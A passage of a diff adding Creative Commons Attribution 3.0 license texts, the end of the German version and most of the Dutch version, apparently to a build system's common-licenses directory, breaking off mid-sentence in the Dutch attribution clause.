+ CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER "SCHUTZGEGENSTAND" DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", "LIZENZ" ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Abwandlung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange die eigenpersönlichen Züge des Schutzgegenstandes darin nicht verblassen und daran eigene Schutzrechte entstehen. Das kann insbesondere eine Bearbeitung, Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Abwandlung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Benutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand oder Abwandlungen im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit anzubieten oder in Verkehr zu bringen.
+
+ d. Der "Lizenzgeber" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ e. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person oder Gruppe von Personen, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und bei dem eine Einräumung von Nutzungsrechten oder eine Weiterübertragung an Dritte möglich ist.
+
+ f. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine persönliche geistige Schöpfung jeglicher Art, ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff "Schutzgegenstand" im Sinne dieser Lizenz.
+
+ g. Mit "Sie" bzw. "Ihnen" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährten Nutzungsrechte trotz eines vorherigen Verstoßes auszuüben.
+
+ h. Unter "Öffentlich Zeigen" im Sinne dieser Lizenz sind Veröffentlichungen und Präsentationen des Schutzgegenstandes zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und in unkörperlicher Form mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung, zeit- und ortsunabhängiger Zugänglichmachung oder in körperlicher Form mittels Ausstellung erfolgen, unabhängig von bestimmten Veranstaltungen und unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ i. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, mittels beliebiger Verfahren Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch den Vorgang, erstmals körperliche Fixierungen des Schutzgegenstandes sowie Vervielfältigungsstücke dieser Fixierungen anzufertigen, sowie die Übertragung des Schutzgegenstandes auf einen Bild- oder Tonträger oder auf ein anderes elektronisches Medium, gleichviel ob in digitaler oder analoger Form.
+
+2. Schranken des Immaterialgüterrechts. Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die Ihnen aufgrund der Schranken des Urheberrechts oder anderer Rechtsnormen bereits ohne Weiteres zustehen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Einräumung von Nutzungsrechten. Unter den Bedingungen dieser Lizenz räumt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 3.e) - das vergütungsfreie, räumlich und zeitlich (für die Dauer des Schutzrechts am Schutzgegenstand) unbeschränkte einfache Recht ein, den Schutzgegenstand auf die folgenden Arten und Weisen zu nutzen ("unentgeltlich eingeräumtes einfaches Nutzungsrecht für jedermann"):
+
+ a. den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. Abwandlungen des Schutzgegenstandes anzufertigen, einschließlich Übersetzungen unter Nutzung jedweder Medien, sofern deutlich erkennbar gemacht wird, dass es sich um Abwandlungen handelt;
+
+ c. den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich zu zeigen und zu verbreiten;
+
+ d. Abwandlungen des Schutzgegenstandes zu veröffentlichen, öffentlich zu zeigen und zu verbreiten.
+
+ e. Bezüglich Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechende Vergütung einzuziehen für jede Ausübung eines Rechts aus dieser Lizenz durch Sie.
+
+ ii. Vergütung bei Zwangslizenzen: Sofern Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, verzichtet der Lizenzgeber für alle Fälle einer lizenzgerechten Nutzung des Schutzgegenstandes durch Sie auf jegliche Vergütung.
+
+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Einziehung der Vergütung durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre.
+
+Das vorgenannte Nutzungsrecht wird für alle bekannten sowie für alle noch nicht bekannten Nutzungsarten eingeräumt. Es beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich durch den Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf sämtliche aus diesem Schutz resultierenden Rechte.
+
+4. Bedingungen. Die Einräumung des Nutzungsrechts gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich zeigen. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.a) gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.b) aufgezählten Hinweise entfernen. Wenn Sie eine Abwandlung vornehmen, müssen Sie auf die Mitteilung eines Lizenzgebers hin von der Abwandlung die in Abschnitt 4.b) aufgezählten Hinweise entfernen.
+
+ b. Die Verbreitung und das öffentliche Zeigen des Schutzgegenstandes oder auf ihm aufbauender Abwandlungen oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie - soweit bekannt - Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) des Rechteinhabers und / oder, falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) ("Zuschreibungsempfänger"), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand;
+
+ iv. und im Falle einer Abwandlung des Schutzgegenstandes in Übereinstimmung mit Abschnitt 3.b) einen Hinweis darauf, dass es sich um eine Abwandlung handelt.
+
+ Die nach diesem Abschnitt 4.b) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle einer Abwandlung des Schutzgegenstandes oder eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung mehrerer Rechteinhaber dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Lizenzgebers und / oder des Zuschreibungsempfängers weder explizit noch implizit irgendeine Verbindung zum Lizenzgeber oder Zuschreibungsempfänger und ebenso wenig eine Unterstützung oder Billigung durch ihn andeuten.
+
+ c. Die oben unter 4.a) und b) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ d. Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE EINRÄUMUNG VON RECHTEN UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN. DIESE GEWÄHRLEISTUNGSBESCHRÄNKUNG GILT NICHT, SOWEIT MÄNGEL ZU SCHÄDEN DER IN ABSCHNITT 6 BEZEICHNETEN ART FÜHREN UND AUF SEITEN DES LIZENZGEBERS DAS JEWEILS GENANNTE VERSCHULDEN BZW. VERTRETENMÜSSEN EBENFALLS VORLIEGT.
+
+6. Haftungsbeschränkung
+
+DER LIZENZGEBER HAFTET IHNEN GEGENÜBER IN BEZUG AUF SCHÄDEN AUS DER VERLETZUNG DES LEBENS, DES KÖRPERS ODER DER GESUNDHEIT NUR, SOFERN IHM WENIGSTENS FAHRLÄSSIGKEIT VORZUWERFEN IST, FÜR SONSTIGE SCHÄDEN NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG.
+
+7. Erlöschen
+
+ a. Diese Lizenz und die durch sie eingeräumten Nutzungsrechte erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die Abwandlungen des Schutzgegenstandes oder diesen enthaltende Sammelwerke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal, wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Jedes Mal, wenn Sie eine Abwandlung des Schutzgegenstandes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz am ursprünglichen Schutzgegenstand zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ c. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen davon unberührt.
+
+ d. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ e. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß Ziffern 8.a) und b) angebotenen Lizenzen aus.
+
+ f. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Bundesrepublik Deutschland Anwendung.
+
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
+
diff --git a/meta/files/common-licenses/CC-BY-3.0-NL b/meta/files/common-licenses/CC-BY-3.0-NL
new file mode 100644
index 0000000000..5789b8592d
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-3.0-NL
@@ -0,0 +1,97 @@
+Creative Commons Naamsvermelding 3.0
+
+ CREATIVE COMMONS CORPORATION IS GEEN ADVOCATENPRAKTIJK EN VERLEENT GEEN JURIDISCHE DIENSTEN. DE VERSPREIDING VAN DEZE LICENTIE ROEPT GEEN JURIDISCHE RELATIE MET CREATIVE COMMONS IN HET LEVEN. CREATIVE COMMONS VERSPREIDT DEZE INFORMATIE 'AS-IS'. CREATIVE COMMONS STAAT NIET IN VOOR DE INHOUD VAN DE VERSTREKTE INFORMATIE EN SLUIT ALLE AANSPRAKELIJKHEID UIT VOOR ENIGERLEI SCHADE VOORTVLOEIEND UIT HET GEBRUIK VAN DEZE INFORMATIE INDIEN EN VOORZOVER DE WET NIET ANDERS BEPAALT.
+
+Licentie
+
+HET WERK (ALS HIERONDER OMSCHREVEN) WORDT TER BESCHIKKING GESTELD OVEREENKOMSTIG DE VOORWAARDEN VAN DEZE CREATIVE COMMONS PUBLIEKE LICENTIE ('CCPL' OF 'LICENTIE'). HET WERK WORDT BESCHERMD OP GROND VAN HET AUTEURSRECHT, NABURIGE RECHTEN, HET DATABANKENRECHT EN/OF ENIGE ANDERE TOEPASSELIJKE RECHTEN. MET UITZONDERING VAN HET IN DEZE LICENTIE OMSCHREVEN TOEGESTANE GEBRUIK VAN HET WERK IS ENIG ANDER GEBRUIK VAN HET WERK NIET TOEGESTAAN.
+
+DOOR HET UITOEFENEN VAN DE IN DEZE LICENTIE VERLEENDE RECHTEN MET BETREKKING TOT HET WERK AANVAARDT EN GAAT DE GEBRUIKER AKKOORD MET DE VOORWAARDEN VAN DEZE LICENTIE, MET DIEN VERSTANDE DAT (DE INHOUD VAN) DEZE LICENTIE OP VOORHAND VOLDOENDE DUIDELIJK KENBAAR DIENT TE ZIJN VOOR DE ONTVANGER VAN HET WERK.
+
+DE LICENTIEGEVER VERLEENT DE GEBRUIKER DE IN DEZE LICENTIE OMSCHREVEN RECHTEN MET INACHTNEMING VAN DE DESBETREFFENDE VOORWAARDEN.
+
+1. Definities
+
+ a. 'Verzamelwerk' een werk waarin het Werk, in zijn geheel en in ongewijzigde vorm, samen met een of meer andere werken, die elk een afzonderlijk en zelfstandig werk vormen, tot een geheel is samengevoegd. Voorbeelden van een verzamelwerk zijn een tijdschrift, een bloemlezing of een encyclopedie. Een Verzamelwerk zal voor de toepassing van deze Licentie niet als een Afgeleid werk (als hieronder omschreven) worden beschouwd.
+
+ b. 'Afgeleid werk' een werk dat is gebaseerd op het Werk of op het Werk en andere reeds bestaande werken. Voorbeelden van een Afgeleid werk zijn een vertaling, een muziekschikking (arrangement), een toneelbewerking, een literaire bewerking, een verfilming, een geluidsopname, een kunstreproductie, een verkorte versie, een samenvatting of enig andere bewerking van het Werk, met dien verstande dat een Verzamelwerk voor de toepassing van deze Licentie niet als een Afgeleid werk zal worden beschouwd.
+
+ Indien het Werk een muziekwerk betreft, zal de synchronisatie van de tijdslijnen van het Werk en een bewegend beeld ('synching') voor de toepassing van deze Licentie als een Afgeleid Werk worden beschouwd.
+
+ c. 'Licentiegever' de natuurlijke persoon/personen of rechtspersoon/rechtspersonen die het Werk volgens de voorwaarden van deze Licentie aanbiedt/aanbieden.
+
+ d. 'Maker' de natuurlijke persoon/personen of rechtspersoon/personen die het oorspronkelijke werk gemaakt heeft/hebben. Voor de toepassing van deze Licentie wordt onder de Maker mede verstaan de uitvoerende kunstenaar, film- en fonogramproducent en omroeporganisaties in de zin van de Wet op de naburige rechten en de producent van een databank in de zin van de Databankenwet.
+
+ e. 'Werk' het auteursrechtelijk beschermde werk dat volgens de voorwaarden van deze Licentie wordt aangeboden. Voor de toepassing van deze Licentie wordt onder het Werk mede verstaan het fonogram, de eerste vastlegging van een film en het (omroep)programma in de zin van de Wet op de naburige rechten en de databank in de zin van de Databankenwet, voor zover dit fonogram, deze eerste vastlegging van een film, dit (omroep)programma en deze databank beschermd wordt krachtens de toepasselijke wet in de jurisdictie van de Gebruiker.
+
+ f. 'Gebruiker' de natuurlijke persoon of rechtspersoon die rechten ingevolge deze Licentie uitoefent en die de voorwaarden van deze Licentie met betrekking tot het Werk niet eerder geschonden heeft, of die van de Licentiegever uitdrukkelijke toestemming gekregen heeft om rechten ingevolge deze Licentie uit te oefenen ondanks een eerdere schending.
+
+2. Beperkingen van de uitsluitende rechten. Niets in deze Licentie strekt ertoe om de rechten te beperken die voortvloeien uit de beperkingen en uitputting van de uitsluitende rechten van de rechthebbende krachtens het auteursrecht, de naburige rechten, het databankenrecht of enige andere toepasselijke rechten.
+
+3. Licentieverlening. Met inachtneming van de voorwaarden van deze Licentie verleent de Licentiegever hierbij aan de Gebruiker een wereldwijde, niet-exclusieve licentie om de navolgende rechten met betrekking tot het Werk vrij van royalty's uit te oefenen voor de duur van de toepasselijke intellectuele eigendomsrechten:
+
+ a. het reproduceren van het Werk, het opnemen van het Werk in een of meerdere Verzamelwerken, en het reproduceren van het in de Verzamelwerken opgenomen Werk;
+
+ b. het maken en reproduceren van Afgeleide werken met dien verstande dat met betrekking tot het Afgeleide werk, met inbegrip van welke vertaling in welk medium dan ook, duidelijk wordt gemaakt dat er wijzigingen in het oorspronkelijke Werk zijn aangebracht. Bijvoorbeeld, aan een vertaling kan worden toegevoegd dat 'het oorspronkelijke Werk is van het Engels in het Spaans vertaald', of in geval van een verandering kan worden aangegeven dat 'het oorspronkelijke werk is veranderd';
+
+ c. het verspreiden van exemplaren van het Werk, het in het openbaar tonen, op- en uitvoeren en het on-line beschikbaar stellen van het Werk, afzonderlijk en als deel van een Verzamelwerk;
+
+ d. het verspreiden van exemplaren van Afgeleide werken, het in het openbaar te tonen, op- en uitvoeren en het on-line beschikbaar stellen van Afgeleide werken;
+
+ e. het opvragen en hergebruiken van het Werk;
+
+ f. Volledigheidshalve dient te worden vermeld dat:
+
+ i. Niet voor afstand vatbare heffingsregelingen. in het geval van niet voor afstand vatbare heffingsregelingen (bijvoorbeeld met betrekking tot thuiskopieën) de Licentiegever zich het recht voorbehoudt om dergelijke heffingen te innen (al dan niet door middel van een auteursrechtenorganisatie) bij zowel commercieel als niet-commercieel gebruik van het Werk;
+
+ ii. Voor afstand vatbare heffingsregeling. in het geval van voor afstand vatbare heffingsregelingen (bijvoorbeeld met betrekking tot leenrechten) de Licentiegever afstand doet van het recht om dergelijke heffingen te innen bij zowel commercieel als niet-commercieel gebruik van het Werk;
+
+ iii. Collectief rechtenbeheer. de Licentiegever afstand doet van het recht om vergoedingen te innen (zelfstandig of, indien de Licentiegever lid is van een auteursrechtenorganisatie, door middel van die organisatie) bij zowel commercieel als niet-commercieel gebruik van het Werk.
+
+De Gebruiker mag deze rechten uitoefenen met behulp van alle thans bekende media, dragers en formats. De Gebruiker is tevens gerechtigd om technische wijzigingen aan te brengen die noodzakelijk zijn om de rechten met behulp van andere media, dragers en formats uit te oefenen. Alle niet uitdrukkelijk verleende rechten zijn hierbij voorbehouden aan de Licentiegever, met inbegrip van maar niet beperkt tot de rechten die in artikel 4(d) worden genoemd. Voor zover de Licentiegever op basis van het nationale recht ter implementatie van de Europese Databankenrichtlijn over uitsluitende rechten beschickt doet de Licentiegever afstand van deze rechten.
+
+4. Beperkingen. De in artikel 3 verleende Licentie is uitdrukkelijk gebonden aan de volgende beperkingen:
+
+ a. De Gebruiker mag het Werk uitsluitend verspreiden, in het openbaar tonen, op- of uitvoeren of on-line beschikbaar stellen met inachtneming van de voorwaarden van deze Licentie, en de Gebruiker dient een exemplaar van, of de Uniform Resource Identifier voor, deze Licentie toe te voegen aan elk exemplaar van het Werk dat de Gebruiker verspreidt, in het openbaar toont, op- of uitvoert, of on-line beschikbaar stelt. Het is de Gebruiker niet toegestaan om het Werk onder enige afwijkende voorwaarden aan te bieden waardoor de voorwaarden van deze Licentie dan wel de mogelijkheid van de ontvangers van het Werk om de rechten krachtens deze Licentie uit te oefenen worden beperkt. Het is de Gebruiker niet toegestaan om het Werk in sublicentie te geven. De Gebruiker dient alle vermeldingen die verwijzen naar deze Licentie dan wel naar de uitsluiting van garantie te laten staan. Het is de Gebruiker niet toegestaan om het Werk te verspreiden, in het openbaar te tonen, op- of uit te voeren of on-line beschikbaar te stellen met toepassing van technologische voorzieningen waardoor de voorwaarden van deze Licentie dan wel de mogelijkheid van de ontvangers van het Werk om de rechten krachtens deze Licentie uit te oefenen worden beperkt. Het voorgaande is tevens van toepassing op het Werk dat deel uitmaakt van een Verzamelwerk, maar dat houdt niet in dat het Verzamelwerk, afgezien van het Werk zelf, gebonden is aan de voorwaarden van deze Licentie. Indien de Gebruiker een Verzamelwerk maakt, dient deze, op verzoek van welke Licentiegever ook, de op grond van artikel 4(b) vereiste naamsvermelding uit het Verzamelwerk te verwijderen, voor zover praktisch mogelijk, conform het verzoek. Indien de Gebruiker een Afgeleid werk maakt, dient hij, op verzoek van welke Licentiegever ook, de op grond van artikel 4(b) vereiste naamsvermelding uit het Afgeleide werk te verwijderen, voorzover praktisch mogelijk, conform het verzoek.
+
+ b. Indien de Gebruiker het Werk, Afgeleide Werken of Verzamelwerken verspreidt, in het openbaar toont, op- of uitvoert of on-line beschikbaar stelt, dient de Gebruiker, tenzij er sprake is van een verzoek als vermeld in lid 4(a), alle auteursrechtvermeldingen met betrekking tot het Werk te laten staan. Tevens dient de Gebruiker, op een wijze die redelijk is in verhouding tot het gebruikte medium, de naam te vermelden van (i) de Maker (of zijn/haar pseudoniem indien van toepassing) indien deze wordt vermeld; en/of (ii) van (een) andere partij(en) (b.v. sponsor, uitgeverij, tijdschrift) indien de naamsvermelding van deze partij(en) ("Naamsvermeldingsgerechtigden") in de auteursrechtvermelding of algemene voorwaarden van de Licentiegever of op een andere redelijke wijze verplicht is gesteld door de Maker en/of de Licentiegever; de titel van het Werk indien deze wordt vermeld; voorzover redelijkerwijs toepasbaar de Uniform 